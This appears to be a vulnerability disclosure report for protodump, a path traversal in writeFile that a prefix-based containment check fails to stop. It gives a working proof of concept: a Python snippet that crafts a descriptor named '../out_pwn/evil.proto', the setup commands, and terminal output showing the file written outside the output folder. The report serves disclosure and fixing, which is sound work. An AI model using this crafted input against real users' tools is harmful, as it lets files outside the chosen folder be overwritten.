Path Traversal in writeFile via Unsafe Prefix Containment Check Allows Out-of-Directory Writes

How it was found

Summary:

protodump uses descriptor-controlled paths (name/go_package) in output filename construction and then enforces containment with a lexical strings.HasPrefix check after EvalSymlinks. That check is bypassable with ../ traversal into existing prefix-matching sibling directories, enabling writes outside the intended output directory.

Steps To Reproduce:

1. First of all, build the protodump
2. Then, create a malicious input blob (descriptor name = ../out_pwn/evil.proto):

name = b'../out_pwn/evil.proto'
with open('/tmp/evil.bin', 'wb') as f:
    f.write(bytes([0x0a, len(name)]) + name + b'\x00')

3. Prepare output and prefix-collision sibling mkdir -p /tmp/out /tmp/out_pwn

4. Run protodump:

TIPSEN:~:% /tmp/protodump -file /tmp/evil.bin -output /tmp/out
Wrote /tmp/out_pwn/evil.proto

5. Full terminal output:

TIPSEN:~:% python
Python 3.13.9 (main, Oct 15 2025, 14:56:22) [GCC 15.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> name = b'../out_pwn/evil.proto'
... with open('/tmp/evil.bin', 'wb') as f:
...     f.write(bytes([0x0a, len(name)]) + name + b'\x00')
...
24
>>> exit
TIPSEN:~:% mkdir -p /tmp/out /tmp/out_pwn
TIPSEN:~:% ls /tmp/out
TIPSEN:~:% ls /tmp/out_pwn
TIPSEN:~:% /tmp/protodump -file /tmp/evil.bin -output /tmp/out
Wrote /tmp/out_pwn/evil.proto
TIPSEN:~:% ls /tmp/out
TIPSEN:~:% ls /tmp/out_pwn
evil.proto

Supporting Material/References:

The root cause :)

1. https://github.com/arkadiyt/protodump/tree/main/pkg/protodump/proto.go#L47-L55: Filename() builds output-relative paths from descriptor-controlled meta data (go_package + descriptor path), so attacker input can influence directory components.
2. https://github.com/arkadiyt/protodump/tree/main/cmd/protodump/main.go#L98-L100: the attacker-influenced filename is passed directly into writeFile(...) and used for filesystem writes.
3. https://github.com/arkadiyt/protodump/tree/main/cmd/protodump/main.go#L32-L35: directory parts are derived from path.Clean(fileDir) and then joined under output, so traversal tokens are processed into parent/sibling path movement.
4. https://github.com/arkadiyt/protodump/tree/main/cmd/protodump/main.go#L41-L47: containment is enforced with strings.HasPrefix(base, outputDirAbs), which is a lexical prefix check and not a safe path-boundary check.
5. https://github.com/arkadiyt/protodump/tree/main/cmd/protodump/main.go#L51-L58: after the flawed check, MkdirAll + WriteFile create/write the final path, enabling out-of-directory write when prefix-collision conditions are met.

Impact

An attacker who can provide a crafted binary can cause protodump to create or overwrite .proto files outside the user-selected output folder when the victim runs the tool. This enables integrity compromise of adjacent project artifacts.